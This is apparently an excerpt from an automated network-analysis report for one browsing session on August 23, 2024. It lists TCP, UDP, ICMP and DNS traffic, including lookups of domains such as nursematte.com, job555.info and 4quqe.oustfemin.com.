Aug 23, 2024 16:22:00.389774084 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.389781952 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.389816046 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.389827967 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.389838934 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.389843941 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.389856100 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.389889002 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.389914036 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.478247881 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.478264093 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.478362083 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.478379011 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.478424072 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.480242014 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.480279922 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.480302095 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.480319977 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.480355978 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.480489016 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.480499029 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.495765924 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.495805979 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.495889902 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.496081114 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.496093988 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.853809118 CEST	443	49833	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.854114056 CEST	49833	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.854137897 CEST	443	49833	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.854600906 CEST	443	49833	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.854908943 CEST	49833	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.854995012 CEST	443	49833	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.855051994 CEST	49833	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.900506973 CEST	443	49833	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:01.306118011 CEST	443	49824	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:01.306209087 CEST	443	49824	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:01.306294918 CEST	49824	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:01.307157040 CEST	49824	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:01.307174921 CEST	443	49824	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:01.340037107 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.340362072 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:01.340390921 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.341381073 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.341456890 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:01.341744900 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:01.341803074 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.341865063 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:01.341871977 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.392364979 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:01.486862898 CEST	443	49833	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:01.486949921 CEST	443	49833	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:01.487023115 CEST	49833	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:01.493273020 CEST	49833	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:01.493309975 CEST	443	49833	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:01.610913038 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.613596916 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.613607883 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.613621950 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.613646030 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.613703966 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:01.613724947 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.613738060 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:01.613780975 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:01.705847025 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.705878019 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.705991030 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:01.706018925 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.706073999 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:01.708452940 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.708513975 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.708524942 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:01.708539963 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.708554983 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:01.708585024 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:01.708606005 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:01.708883047 CEST	49834	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:01.708909988 CEST	443	49834	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:13.172736883 CEST	49836	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:22:13.172769070 CEST	443	49836	172.217.16.132	192.168.2.16
Aug 23, 2024 16:22:13.172857046 CEST	49836	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:22:13.173080921 CEST	49836	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:22:13.173091888 CEST	443	49836	172.217.16.132	192.168.2.16
Aug 23, 2024 16:22:13.813963890 CEST	443	49836	172.217.16.132	192.168.2.16
Aug 23, 2024 16:22:13.814332962 CEST	49836	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:22:13.814346075 CEST	443	49836	172.217.16.132	192.168.2.16
Aug 23, 2024 16:22:13.814655066 CEST	443	49836	172.217.16.132	192.168.2.16
Aug 23, 2024 16:22:13.814949989 CEST	49836	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:22:13.815001011 CEST	443	49836	172.217.16.132	192.168.2.16
Aug 23, 2024 16:22:13.858407021 CEST	49836	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:22:17.564107895 CEST	49745	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:22:17.564126015 CEST	443	49745	202.172.26.4	192.168.2.16
Aug 23, 2024 16:22:23.725121975 CEST	443	49836	172.217.16.132	192.168.2.16
Aug 23, 2024 16:22:23.725174904 CEST	443	49836	172.217.16.132	192.168.2.16
Aug 23, 2024 16:22:23.725269079 CEST	49836	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:22:24.565155029 CEST	49836	443	192.168.2.16	172.217.16.132
Aug 23, 2024 16:22:24.565185070 CEST	443	49836	172.217.16.132	192.168.2.16
Aug 23, 2024 16:22:32.565907955 CEST	49745	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:22:32.566044092 CEST	443	49745	202.172.26.4	192.168.2.16
Aug 23, 2024 16:22:32.566118002 CEST	49745	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:22:35.035356045 CEST	49837	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.035387039 CEST	443	49837	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:35.035523891 CEST	49837	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.035717964 CEST	49837	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.035727024 CEST	443	49837	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:35.518126011 CEST	443	49837	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:35.518445015 CEST	49837	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.518459082 CEST	443	49837	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:35.519459009 CEST	443	49837	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:35.519562006 CEST	49837	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.519840956 CEST	49837	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.519902945 CEST	443	49837	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:35.519948959 CEST	49837	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.564496994 CEST	443	49837	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:35.565494061 CEST	49837	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.565512896 CEST	443	49837	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:35.613583088 CEST	49837	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.651654959 CEST	443	49837	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:35.651933908 CEST	443	49837	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:35.652024031 CEST	49837	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.652035952 CEST	443	49837	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:35.652048111 CEST	49837	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.652048111 CEST	49837	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.652128935 CEST	49837	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.652702093 CEST	49838	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.652728081 CEST	443	49838	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:35.652863026 CEST	49838	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.653090000 CEST	49838	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:35.653099060 CEST	443	49838	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:36.131989956 CEST	443	49838	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:36.132328033 CEST	49838	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:36.132340908 CEST	443	49838	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:36.132682085 CEST	443	49838	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:36.132997990 CEST	49838	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:36.133049965 CEST	443	49838	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:36.133136988 CEST	49838	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:36.133167982 CEST	49838	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:36.133240938 CEST	443	49838	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:36.264379025 CEST	443	49838	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:36.264450073 CEST	443	49838	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:36.264704943 CEST	49838	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:36.264756918 CEST	49838	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:36.264770031 CEST	443	49838	35.190.80.1	192.168.2.16
Aug 23, 2024 16:22:36.264791012 CEST	49838	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:22:36.264853001 CEST	49838	443	192.168.2.16	35.190.80.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 23, 2024 16:21:08.307032108 CEST	57444	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:08.307154894 CEST	56499	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:08.331074953 CEST	53	54472	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:08.345228910 CEST	53	57444	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:08.345241070 CEST	53	56499	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:08.462018967 CEST	53	57755	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:09.567574978 CEST	53	63352	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:09.629056931 CEST	53693	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:09.629246950 CEST	52119	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:09.647373915 CEST	53	53693	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:09.692995071 CEST	53	52119	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:11.010854959 CEST	52341	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:11.011039972 CEST	62348	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:11.028564930 CEST	53	62348	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:11.028577089 CEST	53	52341	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:12.653954029 CEST	52363	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:12.654150009 CEST	53631	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:12.661447048 CEST	56457	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:12.661714077 CEST	51997	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:12.672445059 CEST	53	52363	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:12.676100969 CEST	53	53631	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:12.678388119 CEST	53	56457	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:12.681773901 CEST	53	51997	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:13.111082077 CEST	50713	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:13.111196041 CEST	56432	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:13.126992941 CEST	53	56432	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:13.127388000 CEST	53	50713	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:14.985605955 CEST	64884	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:14.985788107 CEST	54191	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:15.012864113 CEST	53	64884	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:15.016248941 CEST	53	54191	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:26.621859074 CEST	53	55060	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:30.862474918 CEST	57529	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:30.862636089 CEST	57159	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:31.391746044 CEST	53	57159	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:31.437694073 CEST	53	57529	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:33.007586956 CEST	61478	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:33.007775068 CEST	57576	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:33.046760082 CEST	53	61478	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:33.050997972 CEST	53	57576	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:34.319566965 CEST	64911	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:34.319788933 CEST	60465	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:34.331670046 CEST	53	60465	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:34.517482042 CEST	53	64911	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:35.010071039 CEST	64910	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:35.010266066 CEST	54884	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:35.018923998 CEST	53	64910	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:35.018939018 CEST	53	54884	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:35.427402973 CEST	59842	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:35.427582979 CEST	63885	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:35.427891016 CEST	49391	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:35.428212881 CEST	57019	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:35.428688049 CEST	63435	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:35.428821087 CEST	53482	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:35.429104090 CEST	60149	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:35.429220915 CEST	60282	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:35.435861111 CEST	53	49391	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:35.436656952 CEST	53	63435	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:35.437001944 CEST	53	57019	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:35.437066078 CEST	53	53482	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:35.437076092 CEST	53	60149	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:35.437177896 CEST	53	60282	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:35.441221952 CEST	53	59842	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:35.481753111 CEST	53	63885	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:36.245641947 CEST	52427	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:36.245799065 CEST	50213	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:36.246089935 CEST	64510	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:36.246212006 CEST	52234	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:36.254601955 CEST	53	64510	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:36.254904032 CEST	53	50213	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:36.254914045 CEST	53	52234	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:36.255367041 CEST	53	52427	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:36.823556900 CEST	50626	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:36.823756933 CEST	65405	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:36.834140062 CEST	53	50626	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:36.836169958 CEST	53	65405	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:45.514482021 CEST	53	62033	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:50.151669979 CEST	58476	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:50.151823044 CEST	58046	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:50.174649954 CEST	53	58046	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:50.190594912 CEST	53	58476	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:53.078418016 CEST	50289	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:53.078562021 CEST	62394	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:53.078931093 CEST	59073	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:53.079396009 CEST	62100	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:53.080250978 CEST	50921	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:53.080416918 CEST	50022	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:53.083059072 CEST	58733	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:53.083179951 CEST	50684	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:53.087373018 CEST	53	62394	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:53.087513924 CEST	53	59073	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:53.087779999 CEST	53	62100	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:53.088327885 CEST	53	50921	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:53.088337898 CEST	53	50022	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:53.103107929 CEST	53	50684	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:53.105355978 CEST	53	50289	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:53.112152100 CEST	53	58733	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:54.044071913 CEST	50023	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:54.044246912 CEST	55761	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:54.052716017 CEST	53	50023	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:54.052728891 CEST	53	55761	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:54.145684004 CEST	57284	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:54.145982027 CEST	51484	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:54.150325060 CEST	50419	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:54.150551081 CEST	60143	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:54.156521082 CEST	53	51484	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:54.157465935 CEST	53	50419	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:54.157865047 CEST	53	57284	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:54.159729004 CEST	53	60143	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:55.060192108 CEST	51690	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:55.060430050 CEST	61436	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:55.068236113 CEST	53	51690	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:55.069273949 CEST	53	61436	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:55.076723099 CEST	53	54498	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:56.050451994 CEST	56742	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:56.050614119 CEST	58786	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:56.064313889 CEST	53	56742	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:56.073631048 CEST	53	58786	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:56.233129025 CEST	53	61566	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:56.598833084 CEST	53	53210	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:57.095376968 CEST	58140	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:57.095518112 CEST	53617	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:57.104187012 CEST	53	58140	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:57.110526085 CEST	53	53617	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:57.793051958 CEST	52163	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:57.793209076 CEST	50579	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:57.794923067 CEST	54297	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:57.795073032 CEST	56172	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:57.801472902 CEST	53	52163	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:57.802084923 CEST	53	50579	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:57.918042898 CEST	53	54297	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:58.003125906 CEST	53	56172	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:59.303255081 CEST	52270	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:59.303397894 CEST	64893	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:59.309500933 CEST	56380	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:59.309634924 CEST	49664	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:21:59.439177036 CEST	53	64893	1.1.1.1	192.168.2.16
Aug 23, 2024 16:21:59.575700998 CEST	53	52270	1.1.1.1	192.168.2.16
Aug 23, 2024 16:22:00.483028889 CEST	59878	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:22:00.483170986 CEST	60037	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:22:08.315125942 CEST	53	59860	1.1.1.1	192.168.2.16
Aug 23, 2024 16:22:08.489052057 CEST	53	63408	1.1.1.1	192.168.2.16
Aug 23, 2024 16:22:15.316838980 CEST	138	138	192.168.2.16	192.168.2.255
Aug 23, 2024 16:22:35.022449970 CEST	58936	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:22:35.022612095 CEST	51775	53	192.168.2.16	1.1.1.1
Aug 23, 2024 16:22:35.034693956 CEST	53	58936	1.1.1.1	192.168.2.16
Aug 23, 2024 16:22:35.034709930 CEST	53	51775	1.1.1.1	192.168.2.16
Aug 23, 2024 16:22:37.157174110 CEST	53	55172	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Aug 23, 2024 16:21:09.693099022 CEST	192.168.2.16	1.1.1.1	c22e	(Port unreachable)	Destination Unreachable
Aug 23, 2024 16:21:35.481854916 CEST	192.168.2.16	1.1.1.1	c23b	(Port unreachable)	Destination Unreachable
Aug 23, 2024 16:21:56.075268984 CEST	192.168.2.16	1.1.1.1	c276	(Port unreachable)	Destination Unreachable
Aug 23, 2024 16:21:58.003196001 CEST	192.168.2.16	1.1.1.1	c239	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 23, 2024 16:21:08.307032108 CEST	192.168.2.16	1.1.1.1	0x7362	Standard query (0)	app.supercast.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:08.307154894 CEST	192.168.2.16	1.1.1.1	0xbf9c	Standard query (0)	app.supercast.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:09.629056931 CEST	192.168.2.16	1.1.1.1	0x99b6	Standard query (0)	nursematte.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:09.629246950 CEST	192.168.2.16	1.1.1.1	0xdc97	Standard query (0)	nursematte.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:11.010854959 CEST	192.168.2.16	1.1.1.1	0x509e	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:11.011039972 CEST	192.168.2.16	1.1.1.1	0x4145	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:12.653954029 CEST	192.168.2.16	1.1.1.1	0xbb87	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:12.654150009 CEST	192.168.2.16	1.1.1.1	0xfd32	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:12.661447048 CEST	192.168.2.16	1.1.1.1	0xd683	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:12.661714077 CEST	192.168.2.16	1.1.1.1	0x8d4e	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:13.111082077 CEST	192.168.2.16	1.1.1.1	0xb35	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:13.111196041 CEST	192.168.2.16	1.1.1.1	0x3f85	Standard query (0)	www.google.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:14.985605955 CEST	192.168.2.16	1.1.1.1	0x46a9	Standard query (0)	nursematte.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:14.985788107 CEST	192.168.2.16	1.1.1.1	0x7b7e	Standard query (0)	nursematte.com	65	IN (0x0001)	false
Aug 23, 2024 16:21:30.862474918 CEST	192.168.2.16	1.1.1.1	0x3189	Standard query (0)	job555.info	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:30.862636089 CEST	192.168.2.16	1.1.1.1	0xf681	Standard query (0)	job555.info	65	IN (0x0001)	false
Aug 23, 2024 16:21:33.007586956 CEST	192.168.2.16	1.1.1.1	0x9db2	Standard query (0)	4quqe.oustfemin.com	A (IP address)	IN (0x0001)	false
Aug 23, 2024 16:21:33.007775068 CEST	192.168.2.16	1.1.1.1	0xdf45	Standard query (0)	4quqe.oustfemin.com	65	IN (0x0001)	false
